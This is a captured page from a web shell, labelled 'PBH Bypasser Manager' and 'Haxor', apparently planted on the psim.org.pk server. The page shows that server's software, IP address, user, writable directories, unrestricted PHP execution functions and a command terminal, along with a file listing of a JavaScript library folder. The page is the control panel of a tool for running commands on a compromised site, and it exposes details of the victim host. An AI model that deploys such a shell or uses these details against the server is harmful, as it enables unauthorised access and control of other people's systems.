🌸 psim.org.pk

PBH Bypasser Manager | Use your logic to penetrate all Security

v1.1.2 Haxor
Home
0 item(s) selected

Quick Upload

Upload via URL

Single File

Multiple Files

Server Information

SERVER INFO

Software Apache
PHP Version 8.3.30
OS Linux
Server Name psim.org.pk
SSL Enabled

NETWORK & USER

Server IP 198.23.59.68
Your IP 216.73.216.70
User psim
Group tty
Document Root /home/www/psim.vps104032.mylogin.co

PHP LIMITS

Upload Max 10M
Post Max Size 8M
Memory Limit 512M
Max Execution 0s
Disabled Functions None

WRITABLE CHECK

Temp Dir Writable
Document Root Writable
Server Time 2026-09-13 11:10:04
Timezone UTC

TERMINAL FUNCTIONS

Shell Exec Exec System Passthru Popen Proc Open PCNTL Exec
NameSizePermissionsModifiedOwnerActions
mocks -- 2775 2024-12-20 10:57:51 psim
BasePlugin.js 2.07 KB 0775 2024-12-20 10:57:50 psim
BasePlugin.js.map 5.14 KB 0775 2024-12-20 10:57:50 psim
EventManager.js 2.59 KB 0775 2024-12-20 10:57:51 psim
EventManager.js.map 5.54 KB 0775 2024-12-20 10:57:51 psim
getFileName.js 263 B 0775 2024-12-20 10:57:51 psim
getFileName.js.map 802 B 0775 2024-12-20 10:57:51 psim
index.js 235 B 0775 2024-12-20 10:57:51 psim
index.js.map 752 B 0775 2024-12-20 10:57:51 psim
locale.js 2.67 KB 0775 2024-12-20 10:57:51 psim
locale.js.map 4.82 KB 0775 2024-12-20 10:57:51 psim
loggers.js 1.32 KB 0775 2024-12-20 10:57:51 psim
loggers.js.map 2.35 KB 0775 2024-12-20 10:57:51 psim
Restricter.js 4.91 KB 0775 2024-12-20 10:57:51 psim
Restricter.js.map 11.71 KB 0775 2024-12-20 10:57:51 psim
supportsUploadProgress.js 1.09 KB 0775 2024-12-20 10:57:51 psim
supportsUploadProgress.js.map 2.12 KB 0775 2024-12-20 10:57:51 psim
UIPlugin.js 6.73 KB 0775 2024-12-20 10:57:51 psim
UIPlugin.js.map 11.93 KB 0775 2024-12-20 10:57:51 psim
Uppy.js 58.75 KB 0775 2024-12-20 10:57:51 psim
Uppy.js.map 118.86 KB 0775 2024-12-20 10:57:51 psim

Terminal (Working dir: /home/www/psim.vps104032.mylogin.co/node_modules/@uppy/core/lib)